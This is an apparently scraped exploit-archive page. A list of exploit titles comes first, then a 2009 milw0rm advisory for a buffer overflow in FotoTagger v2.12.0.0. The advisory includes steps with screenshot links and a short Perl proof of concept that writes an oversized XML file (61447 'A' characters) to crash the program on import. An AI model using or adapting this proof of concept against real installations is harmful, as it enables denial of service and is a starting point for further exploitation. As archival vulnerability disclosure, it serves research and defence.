477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
63 lines
2.7 KiB
Text
Executable file
63 lines
2.7 KiB
Text
Executable file
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
|
|
""" :::::: :: :: :: :: :: :::: """
|
|
""" :: :: :: :: :::::: .. :::: :: """
|
|
""" ::::: ::: ::::: :: :: :: :: :: :::: """
|
|
""" :: :: :: :: : :: :: :: :: :: :: """
|
|
""" :::::: :: :: ::::: :: :::::: :: :: :::: rs.ir """
|
|
""" :: """
|
|
""" """
|
|
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
|
|
Anti-Security Research Team & Security Institute
|
|
|
|
#[+] Bug : FotoTagger v2.12.0.0 Buffer Overflow Vulnerabiltity
|
|
#[+] program Download : www.fototagger.com
|
|
#[+] Author : the_Edit0r
|
|
#[+] Contact me : the_3dit0r[at]Yahoo[dot]coM
|
|
#[+] Greetz to all my friends
|
|
#[+] Tested on: Windows XP Pro SP2
|
|
#[+] web site: Expl0iters.ir * Anti-security.ir
|
|
#[+] Big thnx: H4ckcity Member
|
|
|
|
|
|
# Part Description :
|
|
--------------------
|
|
Description Program
|
|
FotoTagger is a free software tool for annotating JPEG images quickly and easily.
|
|
Place on an image location-specific annotation notes that point to people or other elements.
|
|
Identify people and objects. Mark notable details. Comment specific objects. Instantly
|
|
find a particular person, object, or comment among image collections. Do you use Flickr?
|
|
Annotate pictures with FotoTagger and upload them to your Flickr account in a few seconds.
|
|
FotoTagger annotations are preserved and converted to Flickr notes so you can edit them by
|
|
using Flickr online tools. You can also download images from Flickr with Flickr notes
|
|
transformed to FotoTagger annotations and edit them with FotoTagger! Multiple image upload
|
|
and download are supported. You can also enjoy other means for sharing annotated images.
|
|
FotoTagger lets you publish annotated pictures to blogs at Blogger.com and LiveJournal,
|
|
as well as share annotated images through Web and email. Annotations do not change an
|
|
original image so moving and sharing files keep annotations intact.
|
|
|
|
For More Explaination look at follow pictures.
|
|
|
|
I. Clicking On File Perl
|
|
http://expl0iters.ir/img/Foto1.jpg
|
|
|
|
II.BOV.XML File Created Successfully
|
|
http://expl0iters.ir/img/Foto2.jpg
|
|
|
|
III.Run the Program FotoTagger & Go To Tools Mnue and Import tags from XML File ( include BOV.XML File )
|
|
http://expl0iters.ir/img/Foto3.jpg
|
|
http://expl0iters.ir/img/Foto4.jpg
|
|
|
|
IV.Boom ...!!!
|
|
|
|
|
|
# Part Expl0it & Bug Codes ( Poc ) :
|
|
------------------------------------
|
|
#!/usr/bin/perl
|
|
my $buffer = "A" x 61447;
|
|
my $filename = "BOV.XML";
|
|
open (FILE,">$filename") || die "\nCan't open $file: $!";
|
|
print FILE "$buffer";
|
|
close (FILE);
|
|
print "\nSuccessfully!\n";
|
|
|
|
# milw0rm.com [2009-09-14]
|